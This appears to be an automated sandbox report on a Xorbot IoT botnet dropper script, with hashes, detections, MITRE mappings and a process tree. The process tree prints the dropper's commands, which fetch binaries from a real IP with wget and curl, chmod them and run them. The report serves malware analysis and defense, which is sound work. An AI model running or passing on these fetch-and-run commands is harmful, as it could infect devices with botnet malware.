xorbot | 01762bbc6774c58954d2aef154149f25d195340c877348cbd061e6f3c429d8bd

Analysis

max time kernel
150s
max time network
148s
platform
debian-9_mips
resource
debian9-mipsbe-20240418-en
resource tags

arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
18/02/2025, 04:37

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General

Target
bins.sh
Size 10KB
Sample250218-e8wndsymv9
SHA256 01762bbc6774c58954d2aef154149f25d195340c877348cbd061e6f3c429d8bd
MD5 d86eaa590e3754b5c5f7d3d48aafc640
SHA1 c8813488f1208356ead6dd49754edc1174f266a7
SHA512 a6833d3c8ca3415c2b90966fcaf03a680be87a3edc4bd88fab1151486c9b92c611705d5560a3284f3bb4cdfeaeae6ba3dab3d945925e45ad9857a4c63c8ec449
SSDEEP 192:3eJJWK7i21QAcr/mRxEpVsP/GsiJzTi21QAEr/mRxYpVsP/l:3eJJWKMpVsP/GsiJz0pVsP/l
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xorbot botnet defense_evasion discovery trojan

Malware Config

Signatures

Detects Xorbot 2 IoCs

botnet trojan

resource	yara_rule
behavioral3/files/fstream-1.dat	family_xorbot
behavioral3/files/fstream-3.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
765	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP	766	bins.sh

Reads runtime system information 2 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 5 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi	wget
File opened for modification	/tmp/dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi	curl
File opened for modification	/tmp/YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP	wget
File opened for modification	/tmp/YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP	curl
File opened for modification	/tmp/YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:736
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:740
- /usr/bin/wget
  wget http://37.44.238.88/bins/YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP
  2⤵
  - Writes file to tmp directory
  PID:742
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:755
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP
  2⤵
  - Writes file to tmp directory
  PID:763
- /bin/chmod
  chmod 777 YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP
  2⤵
  - File and Directory Permissions Modification
  PID:765
- /tmp/YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP
  ./YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP
  2⤵
  PID:766
- /bin/rm
  rm YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP
  2⤵
  PID:769
- /usr/bin/wget
  wget http://37.44.238.88/bins/dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
  2⤵
  - Writes file to tmp directory
  PID:770
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:771

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP

Path /tmp/YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP
Size 98KB
SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
MD5 5141342d0df8699fa32a6b066a0c592e
SHA1 8157673225bd5182f16215e2aa823a25ca2d4fbc
SHA512 d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801
SSDEEP 3072:lxvAwSaWFr5Ryrfb3jb9RxqgRfEma1b5wdL35sPX:32FrIT3/9jqgmma1b5wdj5sPX
MD5 SHA1 SHA512 SSDEEP

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dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi

Path /tmp/dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
Size 119KB
SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
MD5 1b166b95f9cb4b079ef1b9ec8363ddf3
SHA1 0d8eb08add467b3b5474f9b25909297fe7c2839c
SHA512 983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925
SSDEEP 3072:lbeGHulXta3Yz+u6b/tDrHvIAJ9GjOHSHm8RiQztBJk9zEp:Re3ODtDbvIg9Gj7Hm8RiQztB+9zEp
MD5 SHA1 SHA512 SSDEEP

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dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi

Path /tmp/dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
Size 64KB
SHA256 12c7aee15230a18544763d52b0a7d7cef6b4751606fe08f4ab03aa13464ea0d3
MD5 c7931e4bbc4adf87fc937b0d994e896b
SHA1 a6dc62a251fa1ca34be3a5b8aae2b90245967841
SHA512 e7e784d107323ceeea29728d6530fdc9b259322185a2dece595871b85d75f014663bb124ca288f501e91c29396c8c82c7b5a8ae45e406332025f32a669dd22b5
SSDEEP 1536:03+bqBGHuksXta3YzQX2/6b4J0tDrzT32hOFKiXhFIQRJdm:lbeGHulXta3Yz+u6b/tDrHvIAJk
MD5 SHA1 SHA512 SSDEEP

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads